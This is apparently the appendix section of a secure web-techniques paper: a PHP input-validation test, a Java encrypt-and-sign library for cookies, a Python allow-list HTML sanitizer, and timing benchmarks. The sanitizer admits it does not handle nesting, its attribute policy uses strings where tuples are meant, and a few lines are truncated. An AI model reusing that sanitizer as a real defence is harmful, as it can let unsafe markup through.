 * mapped with the right keys. If $tolerant is true, the return value will
 * not contain keys/values for keys in $items without validators.
 *
 * @throws InvalidKeyException If $tolerant is false, any of the keys in
 * $items do not have an associated validator in $validators.
 */
function validate($items, $validators, $tolerant) {
	$r = array();

	foreach ($items as $k => $v) {
		if (! array_key_exists($k, $validators)) {
			if ($tolerant)
				continue;
			throw new InvalidKeyException($k . ': ' . $v);
		}

		$r[$k] = $validators[$k]($v);
	}

	return $r;
}

?>
```

This simple test demo script, test-validator.php, shows how to use the validator.php framework. Of course the code below does not constitute a thorough suite of unit tests for the validator functions – that is up to you.

```
<?php

require('validator.php');

function validateWow($v) {
      $goodWows = array('what?' => 1, 'yeehaw' => 1, 'no' => 1);
      return validateWhitelist($v, $goodWows);
}

$validators = array( 'userID' => validateUserID, 'wow' => validateWow, 'ipid' => validateIpid );

$_GET = array( 'userID' => '1', 'wow' => 'what?', 'etc.' => '600',
               'ipid' => '1234567890abcdefabcd1234567890abcdefabcd' );

try {
      print("Before validation:\n");
      print_r($_GET);

      print("After validation:\n");
      print_r( validate($_GET, $validators, true) );
}
catch (InvalidKeyException $e) {
      error_log('FAILURE: We got a key for which no validator is installed: ' .
                $e->getMessage() .  "\n");
}
catch (InvalidDataException $e) {
      error_log('FAILURE: We got a key for which the value was invalid: ' .
                $e->getMessage() .  "\n");
}


try {
      print_r( validate($_GET, $validators, false) );
      print("FAILURE: Was able to validate data with no validator function!\n");
}
catch (InvalidKeyException $e) {
      print("Caught expected InvalidKeyException when using tolerant=false.\n");
}


try {
      // https://www.paypal.com/en_US/vhelp/paypalmanager_help/credit_card_numbers.htm
      $testCCs = array(
          '378282246310005', '371449635398431', '378734493671000', '30569309025904',
          '38520000023237', '6011111111111117', '6011000990139424', '3530111333300000',
          '3566002020360505', '5555555555554444', '5105105105105100', '4111111111111111',
          '4012888888881881', '4222222222222'
      );

      foreach ($testCCs as $c)
           validateCreditCardNumber($c);

      print("Valid test credit card numbers all passed.\n");
}
catch (InvalidDataException $e) {
      error_log('We got InvalidDataException for a valid CC#: ' . $e);
}

$testCCs = array('021131111111111299999999999999', '7111311111111112', '000',
                 '(415) 555-DUDE', '1222222222222');
```

```
foreach ($testCCs as $c) {
      try {
            validateCreditCardNumber($c);
            error_log('FAILURE: Invalid CC # ' . $c . ' passed!');
      }
      catch (InvalidDataException $e) {
            print('Received expected InvalidDataException for invalid # ' . $c .
                  ': '. $e->getMessage() . "\n");
            continue;
      }
}

?>
```

B The SafeSeal Library

The *Seal* class does the work.

```
package securityutils;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.GeneralSecurityException;
import java.security.SecureRandom;
import java.util.zip.Deflater;
import java.util.zip.Inflater;
import java.util.zip.DataFormatException;

import javax.crypto.Cipher;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;

import org.bouncycastle.util.encoders.Base64Encoder;

/**
 * A class for safely storing data, even when untrustworthy entities can
 * get access to the data.
 *
 * <h2>Introduction</h2>
 *
 * <p>This class provides a simple way to securely protect data from
 * eavesdropping and tampering. Most methods and fields are private;
 * programmers using this class should use the public methods only. The
 * public fields are essentially informational and not hugely relevant to
 * the application programmer.</p>
 *
 * <p>{@link #seal} provides <em>confidentiality</em> and
 * <em>integrity</em>.  To read the sealed data, a malicious user would need
 * the encryption key. To mangle it or carefully change it (without being
 * detected by {@link #unseal}), they would need the signing key.
 * Additionally, <code>unseal</code> optionally ensures freshness: it will
 * reject data that was sealed more than <code>expirationWindow</code>
 * milliseconds before.</p>
 *
 * <p><strong>PLEASE NOTE!</strong> This class does not, by itself, protect
 * against <em>replay attacks</em> &mdash; attacks in which the attacker
 * replays a valid sealed blob within the expiration window. You can
 * mitigate <strong>but not completely prevent</strong> this attack by
 * setting a very low expiration window. You can fully prevent it by putting
 * application-specific data, such as a one-time transaction ID, in the
 * sealed blob. Then, your business logic code can detect the replayed
 * transaction. But <code>Seal</code> by itself cannot do this.
 *
 * <p>To use the class, pass your data to <code>seal</code> to get a sealed
 * <em>blob</em>. The blob is a printable (base64-encoded) String of binary
 * data. Then you can reconstitute the blob by passing it to
 * <code>unseal</code>.</p>
 *
 * <p>You may also want to compress the data, in case it is large and you
 * need to fit it into a small space (like an HTTP cookie). For this
 * purpose, we provide the convenience methods {@link #compress} and {@link
 * #decompress}. <strong>NOTE:</strong> You must compress before sealing,
 * and decompress after unsealing! Encrypted data will not compress!</p>
 *
 * <h2>Applications</h2>
 *
 * <p>This class is useful when you want to take trusted state &mdash; that
```

```
 * is, state you depend on to be correct for your application to work safely
 * &amp;mdash; out of a trustworthy system. For example, web applications often
 * require many hits on the user session state table in the database, and
 * this can be a performance bottleneck. As a result, web developers would
 * like to put the state itself in the cookie (rather than having the cookie
 * value be an index into the state table, as with normal
 * <em>JSESSIONID</em>-type cookies). However, this is not by itself safe!
 * The user can modify their cookie and thereby modify what the server
 * application thinks the user's session state is. The user can also read
 * the session state, which may contain sensitive server information. We
 * have seen and performed this attack many times in our work.</p>
 *
 * <p>However, this class makes that practice much safer. The encryption and
 * integrity checking ensure that, when the server unseals the data, the
 * user (or whatever untrustworthy entity, like another computer or a
 * network attacker) cannot have decrypted the sealed blob. Furthermore, if
 * they modified the blob, that modification will be detected during the
 * unsealing process, and <code>unseal</code> will throw a
 * <code>CorruptedBlobException</code>.</p>
 *
 * <p>Still, keep in mind the replay attack. Make sure that replays won't
 * hurt your application, mitigate them by setting an appropriate expiration
 * window, and/or use one-time transaction IDs for important transactions.</p>
 *
 * @author Chris Palmer <chris@isecpartners.com>
 * @version 1
 */
abstract public class Seal {

      /** The block cipher used to protect the confidentiality of sealed
       * data. */
      public static final String BLOCK_CIPHER = "AES/CBC/PKCS7Padding";

      /** The HMAC used to protect the integrity of sealed data. */
      public static final String HMAC_ALGORITHM = "HMACSHA256";

      private static final int BLOCK_SIZE = 16;
      private static final int KEY_SIZE = 16;
      private static final double BASE64_EXPANSION_RATIO = 1.37;
      private static final String FIELD_SEPARATOR = "|";
      private static final SecureRandom SECURE_RANDOM = new SecureRandom();


      /**
       * @param data The data to compress.
       *
       * @return The compressed data.
       *
       * @throws IOException
       */
      public static byte [] compress(byte [] data) throws IOException {
            Deflater dfltr = new Deflater(Deflater.BEST_COMPRESSION);
            dfltr.setInput(data);
            dfltr.finish();
            ByteArrayOutputStream outpt = new ByteArrayOutputStream(data.length);

            byte [] bfr = new byte[1024];
            while (! dfltr.finished()) {
                  int c = dfltr.deflate(bfr);
                  outpt.write(bfr, 0, c);
            }
            outpt.close();

            return outpt.toByteArray();
      }
```

```
/**
 * @param data The data to decompress.
 *
 * @return The decompressed data.
 *
 * @throws IOException
 * @throws DataFormatException
 */
public static byte [] decompress(byte [] data) throws IOException, DataFormatException {
      Inflater infltr = new Inflater();
      infltr.setInput(data);
      ByteArrayOutputStream outpt = new ByteArrayOutputStream(data.length);

      byte [] bfr = new byte[1024];
      while (! infltr.finished()) {
            int c = infltr.inflate(bfr);
            outpt.write(bfr, 0, c);
      }
      outpt.close();

      return outpt.toByteArray();
}


/**
 * @param mode One of Cipher.ENCRYPT_MODE or Cipher.DECRYPT_MODE.
 * @param data The plaintext to be encrypted or the ciphertext to be
 * decrypted.
 * @param key The encryption/decryption key.
 * @param iv A strongly random (as from SecureRandom) initialization
 * vector.
 *
 * @return The encrypted/decrypted data.
 *
 * @throws GeneralSecurityException
 */
private static byte [] encrypt(int mode, byte [] data, SecretKey key, byte [] iv)
      throws GeneralSecurityException
{
      Cipher cphr = Cipher.getInstance(BLOCK_CIPHER);

      int bs = cphr.getBlockSize();
      if (iv.length < bs)
            throw new Error("iv.length was " + iv.length + " bytes, needed " +
                        bs);

      cphr.init(mode, key, new IvParameterSpec(iv, 0, bs), SECURE_RANDOM);
      return cphr.doFinal(data);
}


/**
 * @param data The data to HMAC.
 * @param key The secret signing key.
 *
 * @return The HMAC of the data.
 *
 * @throws GeneralSecurityException
 */
private static byte [] sign(byte [] data, byte [] timestamp, SecretKey key)
      throws GeneralSecurityException
{
      Mac mc = null;
```

```
        mc = Mac.getInstance(HMAC_ALGORITHM);

        mc.init(key);
        mc.update(timestamp);
        return mc.doFinal(data);
    }


    /**
     * @param data The data whose signature you want to check.
     * @param key The secret signing key.
     * @param signature The purported data signature.
     *
     * @return true if the signature is the correct HMAC of the data, given
     * key.
     *
     * @throws GeneralSecurityException
     */
    private static boolean signatureValid(byte [] data, byte [] timestamp, SecretKey key,
                                          byte [] signature)
        throws GeneralSecurityException
    {

        /* We can't use this because it creates a timing vulnerability:
         * An attacker can guess where their guessed HMAC is wrong
         * by seeing how quickly this function returns.
         * Therefore, we have to check every byte, even after we've
         * found a mismatch.
         *
         * See Nate Lawson's blog post at
         * http://rdist.root.org/2009/05/28/timing-attack-in-google-keyczar-library/
         * for more information.
         *
        return Arrays.equals(signature, sign(data, timestamp, key)); */

        byte [] trstd = sign(data, timestamp, key);
        int ln = trstd.length;
        if (signature.length != ln)
            return false;

        int r = 0;
        for (int i = 0; i < ln; i++)
            r |= signature[i] ^ trstd[i];

        return 0 == r;
    }


    /**
     * @return The current time in milliseconds since the epoch, in String
     * representation (base 10).
     */
    private static String timestamp() {
        return Long.toString(System.currentTimeMillis());
    }


    /**
     * @param data The data to encode.
     *
     * @return The encoded data.
     *
     * @throws IOException
     */
    protected static String base64Encode(byte [] data) throws IOException {
```

```
        Base64Encoder encdr = new Base64Encoder();
        ByteArrayOutputStream outpt = new ByteArrayOutputStream(
                    (int) Math.ceil(data.length * BASE64_EXPANSION_RATIO));
        encdr.encode(data, 0, data.length, outpt);

        return outpt.toString();
    }


    /**
     * @param data The base64-encoded data to decode.
     *
     * @return The decoded data.
     *
     * @throws CorruptBlobException
     */
    protected static byte [] base64Decode(String data) throws CorruptBlobException {
        try {
            Base64Encoder encdr = new Base64Encoder();
            ByteArrayOutputStream outpt = new ByteArrayOutputStream(
                        (int) Math.ceil(data.length() / BASE64_EXPANSION_RATIO));
            encdr.decode(data, outpt);

            return outpt.toByteArray();
        }
        catch (Throwable t) {
            throw new CorruptBlobException(t);
        }
    }


    /**
     * @param data The plaintext data to encrypt, timestamp, and integrity
     * check.
     * @param encryptionKey The key to encrypt data.
     * @param signingKey The key to HMAC data.
     *
     * @return A base64-encoded representation of the sealed data.
     *
     * @throws IOException
     * @throws GeneralSecurityException
     */
    public static String seal(byte [] data, SecretKey encryptionKey, SecretKey signingKey)
        throws IOException, GeneralSecurityException
    {
        byte [] iv = new byte[BLOCK_SIZE];
        SECURE_RANDOM.nextBytes(iv);

        byte [] ncrptd = encrypt(Cipher.ENCRYPT_MODE, data, encryptionKey, iv);

        byte [] cphrtxt = new byte[BLOCK_SIZE + ncrptd.length];
        System.arraycopy(iv, 0, cphrtxt, 0, BLOCK_SIZE);
        System.arraycopy(ncrptd, 0, cphrtxt, BLOCK_SIZE, ncrptd.length);

        String tmstmp = timestamp();
        byte [] sgntr = sign(cphrtxt, tmstmp.getBytes(), signingKey);

        return base64Encode(sgntr) + FIELD_SEPARATOR +
                    tmstmp + FIELD_SEPARATOR +
                    base64Encode(cphrtxt);
    }


    /**
     * @param data A sealed data blob created with seal.
```

```
         * @param expirationWindow The validity period of data in milliseconds.  If
         * 0, data never expires.
         * @param encryptionKey The key that was used to encrypt data.
         * @param signingKey The key that was used to sign data.
         *
         * @return The decrypted data.
         *
         * @throws CorruptBlobException if there is anything wrong with data:
         * integrity check failure, timestamp expired, decryption failure, or
         * anything else.
         *
         */
        public static byte [] unseal(String data, long expirationWindow,
                SecretKey encryptionKey, SecretKey signingKey) throws CorruptBlobException
        {
                int mcEnd = data.indexOf(FIELD_SEPARATOR);
                int tmstmpEnd = data.lastIndexOf(FIELD_SEPARATOR);
                if (-1 == mcEnd || -1 == tmstmpEnd || mcEnd == tmstmpEnd)
                        throw new CorruptBlobException("Invalid data format");

                try {
                        byte [] mc = base64Decode(data.substring(0, mcEnd));
                        String tmstmp = data.substring(mcEnd + 1, tmstmpEnd);
                        byte [] cphrtxt = base64Decode(data.substring(tmstmpEnd + 1));

                        if (! signatureValid(cphrtxt, tmstmp.getBytes(), signingKey, mc))
                                throw new CorruptBlobException("failed integrity check");

                        // As we approach Sat Aug 16 23:12:55 PST 292278994, this code
                        // will start to have problems.
                        if (0 != expirationWindow) {
                                long tm = Long.parseLong(tmstmp);
                                long lmt = tm + expirationWindow;
                                if (tm < 0 || lmt <= tm || System.currentTimeMillis() > lmt)
                                        throw new CorruptBlobException("data expired");
                        }

                        byte [] iv = new byte [BLOCK_SIZE];
                        byte [] ncrptd = new byte [cphrtxt.length - BLOCK_SIZE];
                        System.arraycopy(cphrtxt, 0, iv, 0, BLOCK_SIZE);
                        System.arraycopy(cphrtxt, BLOCK_SIZE, ncrptd, 0,
                                cphrtxt.length - BLOCK_SIZE);

                        return encrypt(Cipher.DECRYPT_MODE, ncrptd, encryptionKey, iv);
                }
                catch (GeneralSecurityException e) {
                        throw new CorruptBlobException(e);
                }
        }
}
```

The *SealTest* class demonstrates how to use *Seal*, and provides some simple unit tests.

```
package securityutils;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.Security;
import java.util.Random;

import javax.crypto.SecretKey;
import javax.crypto.KeyGenerator;

import junit.framework.*;
import org.bouncycastle.jce.provider.BouncyCastleProvider;


public class SealTest extends TestCase {

      static Random r = new Random();
      static String randomString() {
            int c = r.nextInt() % 256;
            StringBuilder s = new StringBuilder();

            for (int i = 0; i < c; i++)
                  s.append(Long.toString(Math.abs(r.nextLong()), 64));

            return s.toString();
      }

      static {
            Security.addProvider(new BouncyCastleProvider());
      }

      public SecretKey signingKey;
      public SecretKey encryptionKey;
      public static final long EXPIRATION_WINDOW = 1500;
      public static final String testData = "This is a simple test string";


      public SealTest() {
            super();
      }


      public SealTest(String test) {
            super(test);
      }


      protected void setUp()
            throws NoSuchAlgorithmException, NoSuchProviderException, IOException
      {
            KeyGenerator kgen = KeyGenerator.getInstance("AES", "BC");
            kgen.init(128);
            encryptionKey = kgen.generateKey();
            signingKey = KeyGenerator.getInstance(Seal.HMAC_ALGORITHM, "BC").generateKey();
            System.out.println( "encryptionKey: " +
                  Seal.base64Encode(encryptionKey.getEncoded()) +
                  " (" + encryptionKey.getAlgorithm() + ", " +
                  encryptionKey.getFormat() + ")" );
            System.out.println( "signingKey: " +
```

```
            Seal.base64Encode(signingKey.getEncoded()) +
            " (" + signingKey.getAlgorithm() + ", " +
            signingKey.getFormat() + ")" );
    }


    public void testCompressOnly(String testData) {
          try {
                byte [] cmprsd = Seal.compress(testData.getBytes("UTF-8"));
                String s = Seal.base64Encode(cmprsd);
          } catch (Exception e) {
                fail("Unexpected exception: " + e);
          }
    }


    public void testNormal(byte [] s) {
          try {
                String sld = Seal.seal(s, encryptionKey, signingKey);
                String unsld = new String(Seal.unseal(sld, EXPIRATION_WINDOW, encryptionKey,
                                                      signingKey));
                assertTrue(unsld.equals(new String(s, "UTF-8")));
          } catch (Exception e) {
                fail("Unexpected exception: " + e);
          }
    }


    public void testNormal(String s) {
          try {
                testNormal(s.getBytes("UTF-8"));
          } catch (Exception e) {
                fail("Unexpected exception: " + e);
          }
    }


    public void testExpired() {
          try {
                String sld = Seal.seal(testData.getBytes("UTF-8"), encryptionKey, signingKey);
                Thread.sleep(EXPIRATION_WINDOW + 10);
                String unsld = new String(Seal.unseal(sld, EXPIRATION_WINDOW, encryptionKey,
                                                      signingKey));

                fail("Successfully unsealed expired data!: " + unsld);
          } catch (CorruptBlobException e) {
                // Expected.
          } catch (Exception e) {
                fail("Unexpected exception: " + e);
          }
    }


    public void testJunk() {
          try {
                String sld = Seal.seal(testData.getBytes("UTF-8"), encryptionKey, signingKey);
                sld += "This is junk to ruin the HMAC.";
                String unsld = new String(Seal.unseal(sld, EXPIRATION_WINDOW, encryptionKey,
                                                      signingKey));
                fail("Successfully unsealed junk data!: " + unsld);
          } catch (CorruptBlobException e) {
                // Expected.
          } catch (Exception e) {
                fail("Unexpected exception: " + e);
          }
```

```
}


public void testJunk(String s) {
      try {
            String sld = Seal.seal(s.getBytes("UTF-8"), encryptionKey, signingKey);
            sld += "This is junk to ruin the HMAC.";
            String unsld = new String(Seal.unseal(sld, EXPIRATION_WINDOW, encryptionKey,
                                                  signingKey));
            fail("Successfully unsealed junk data!: " + unsld);
      } catch (CorruptBlobException e) {
            // Expected.
      } catch (Exception e) {
            fail("Unexpected exception: " + e);
      }
}


public void testUnicodeJunk() {
      try {
            String sld = Seal.seal(testData.getBytes("UTF-8"), encryptionKey, signingKey);
            sld += "This is multi-byte character junk to confuse the Base64 size calculations: \u1234 \u535
            String unsld = new String(Seal.unseal(sld, EXPIRATION_WINDOW, encryptionKey,
                                                  signingKey));
            fail("Successfully unsealed junk data!: " + unsld);
      } catch (CorruptBlobException e) {
            // Expected.
      } catch (Exception e) {
            fail("Unexpected exception: " + e);
      }
}


public static byte [] readFile(File file) throws Exception {
      int lngth = (int) file.length();
      byte [] data = new byte [lngth];
      FileInputStream fis = new FileInputStream(file);
      fis.read(data);
      fis.close();
      return data;
}


public static void main(String [] args) {
      final int reps = 2000;
      try {
            SealTest t = new SealTest();
            t.setUp();
            t.testNormal(testData);
            t.testJunk();
            t.testUnicodeJunk();
            t.testExpired();

            System.out.println("Tests passed! Now to demonstrate performance. (" + reps +
                               " iterations)");

            long tm;

            tm = System.currentTimeMillis();
            for (int i = 0; i < reps; i++)
                  t.testNormal(testData);
            System.out.println("Time (testNormal(testData(testData)): " + ( System.currentTimeMillis() - tm
                               " ms");

            tm = System.currentTimeMillis();
```

```
                for (int i = 0; i < reps; i++)
                        t.testCompressOnly(testData);
                System.out.println("Time (testCompressOnly(testData)): " +
                                (System.currentTimeMillis() - tm) +
                                " ms");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testCompressOnly(randomString());
                System.out.println("Time (testCompressOnly(randomString)): " +
                                (System.currentTimeMillis() - tm) +
                                " ms");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testJunk();
                System.out.println("Time (testJunk): " + ( System.currentTimeMillis() - tm) +
                                " ms");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testNormal(randomString());
                System.out.println("Time (testNormal(randomString)): " +
                                ( System.currentTimeMillis() - tm) + " ms");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testJunk(randomString());
                System.out.println("Time (testJunk(randomString)): " +
                                ( System.currentTimeMillis() - tm) + " ms");


                System.out.println("Reading file " + args[0]);
                String flData = new String(readFile(new File(args[0])), "UTF-8");
                System.out.println("File contains " + flData.length() + " characters");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testNormal(flData);
                System.out.println("Time (testNormal(fileData)): " +
                                ( System.currentTimeMillis() - tm) + " ms");

                tm = System.currentTimeMillis();
                for (int i = 0; i < reps; i++)
                        t.testCompressOnly(flData);
                System.out.println("Time (testCompressOnly(fileData)): " +
                                ( System.currentTimeMillis() - tm) + " ms");
        }
        catch (Exception e) {
                System.err.println(e.toString());
                System.exit(1);
        }
    }

}
```

C The HTMLValidator Library

This simple demonstration shows how easy it can be to set an allow-list policy for HTML, thereby turning arbitrary HTML, JavaScript, and CSS into safe HTML.

```
#!/usr/bin/env python

"""
An HTML parser that validates that the input adheres to a limited subset of
HTML.

Command line usage:

      HTMLValidator.py input.html > filtered.html
"""


from HTMLParser import HTMLParser


class HTMLSecurityViolation(Exception):
      pass


class HTMLValidator(HTMLParser):

      """A security-validating HTML parser."""

      def __init__(self, policy, tolerant):

            """policy: A dictionary of element-name: (attribute-names)
describing the approved HTML subset. tolerant: Whether or not to raise an
exception when invalid input is seen, or to simply ignore it and filter it
from the input."""

            HTMLParser.__init__(self)
            self.policy = policy
            self.tolerant = tolerant
            self.output = ""
            self.bad_tag = None

      def handle_starttag(self, tag, attributes):
            pstn = self.getpos()
            if tag not in self.policy:
                  if not self.tolerant:
                        raise HTMLSecurityViolation("Illegal tag \"%s\" occured at line %d, character %d"
                                                    % (tag, pstn[0], pstn[1]))
                  else:
                        # XXX: We don't handle nesting. :(
                        self.bad_tag = tag
                        return

            for a in attributes:
                  if a[0] not in self.policy[tag]:
                        if not self.tolerant:
                              raise HTMLSecurityViolation(
                                  "Illegal attribute \"%s\" occured in tag \"%s\" at line %d, character %d"
                                  % (a[0], tag, pstn[0], pstn[1]))
                        else:
                              self.bad_tag = tag
                              return

            self.output += self.get_starttag_text()
```

```
	def handle_startendtag(self, tag, attributes):
		self.handle_starttag(tag, attributes)
		# Don't call self.handle_endtag. We are done.

	def handle_endtag(self, tag):
		if tag == self.bad_tag:
			return

		pstn = self.getpos()
		if tag not in self.policy:
			if not self.tolerant:
				raise HTMLSecurityViolation("Illegal tag \"%s\" occured at line %d, character %d"
				                            % (tag, pstn[0], pstn[1]))
			else:
				return

		self.output += "</" + tag + ">"

	def handle_data(self, data):
		self.output += data

	def handle_charref(self, name):
		self.output += "&#" + name + ";"

	def handle_entityref(self, name):
		self.output += "&" + name + ";"

	def handle_comment(self, data):

		"""We ignore comments. This is safest, because comments are one
way to hide code, yet browsers might try to execute it anyway."""

		return

	def handle_decl(self, data):

		"""If tolerant, ignore declarations. Otherwise, raise
HTMLSecurityViolation."""

		if self.tolerant:
			return
		raise HTMLSecurityViolation("Illegal SGML declaration at line %d, character %d"
		                            % self.getpos())

	def handle_pi(self, data):

		"""If tolerant, ignore processing instructions. Otherwise, raise
HTMLSecurityViolation."""

		if self.tolerant:
			return
		raise HTMLSecurityViolation("Illegal processing instruction at line %d, character %d"
		                            % self.getpos())


if __name__ == "__main__":

	from sys import argv as arguments, exit

	if 2 != len(arguments):
		print __doc__
		exit(1)

	p = HTMLValidator({ "p": ("class"), "b": (), "em": (), "hr": ("size"),
```

```
                    "h1": ("class"), "h2": ("class"), "h3": ("class"),
                    "h4": ("class"), "h5": ("class"),
                    "strong": (), "i": (), "ul": (), "ol": (),
                    "dl": (), "li": ("class"), "dd": ("class"),
                    "dt": ("class"), "br": (), "pre": () },
                   True)

p.feed(file(arguments[1], "rb").read())
p.close()
print p.output
```

D Allow-list Lookup Performance

This simple micro-benchmark shows the performance of Python's *in* operator on various collection types.

```
#!/usr/bin/env python

from time import time
from sys import argv as arguments

count = int(arguments[1])
reps = int(arguments[2])

def big():
      return xrange(count)

d = {}
s = set()
a = []

for i in big():
      d[i] = True
      s.add(i)
      a.append(i)

def do_time(thing):
      print type(thing), ":",
      c = count / 2
      t = time()
      for i in xrange(reps):
            x = c in thing
      print "%0.06f" % (time() - t)

do_time(d)
do_time(s)
do_time(a)
```

On my system (a year-old laptop running in low-power mode, Python 2.6.4 for 32-bit Windows 7), we see the results are quite striking:

```
C:\Users\chris\Desktop\secure-web-techniques>in-time.py 1000 10000
<type 'dict'> : 0.000000
<type 'set'> : 0.000000
<type 'list'> : 0.290000

C:\Users\chris\Desktop\secure-web-techniques>in-time.py 10000 10000
<type 'dict'> : 0.000000
<type 'set'> : 0.010000
<type 'list'> : 1.420000

C:\Users\chris\Desktop\secure-web-techniques>in-time.py 100000 10000
<type 'dict'> : 0.000000
<type 'set'> : 0.000000
<type 'list'> : 11.291000
```

With dictionaries and sets, you can do 10,000 searches of larger-than-necessary allow-lists in an amount of time too small to measure. When n is small, even linear search is basically free.

It is reasonable to expect that equivalent code in other languages will perform similarly.

E Encryption Performance

Many developers believe that encryption and cryptographic integrity protection is "slow", and so hesitate to use it where it could help. Commonly, people reject HTTPS without testing its true performance impact, but I've also seen people reject encryption and even compression on the grounds that it is too slow.

Therefore, I've added some trivial demonstration code to *SafeSeal.SealTest* to show how long encryption, MAC calculation, and compression really take.

Note that in these tests, the cost of generating the random string is itself significant relative to the very small cost of compression and cryptography. Note also that the cryptographic tests (*testNormal* and *testJunk*) also include the cost of base-64 encoding.

```
C:\Users\chris\Desktop\secure-web-techniques\SafeSeal>java securityutils.SealTes
t ..\secure-web-techniques.tex
encryptionKey: hYEzArjruZONA6W7jseo5Q== (AES, RAW)
signingKey: cQO7l9V6l6YHXOFI0IQQwo4JogLpNZjpLykmxbY0//w= (HMACSHA256, RAW)
Tests passed! Now to demonstrate performance. (2000 iterations)
Time (testNormal(testData(testData)): 360 ms
Time (testCompressOnly(testData)): 442 ms
Time (testCompressOnly(randomString)): 742 ms
Time (testJunk): 180 ms
Time (testNormal(randomString)): 660 ms
Time (testJunk(randomString)): 500 ms
Reading file ..\secure-web-techniques.tex
File contains 44724 characters
Time (testNormal(fileData)): 13782 ms
Time (testCompressOnly(fileData)): 9260 ms
```

We can see from these results that compressing and encrypting very small strings (such as small, serialized objects stored in cookies) is incredibly fast—well under 1 ms. Also, when the data is mangled (*testJunk*), the problem is detected early and therefore runs even faster than the normal case.

For larger amounts of data, like a 44 KB file, it still only takes about 7 ms to seal and 4.6 ms to compress. Compressing before sealing would take more than compression alone but probably less than sealing alone, since there are fewer bytes to seal.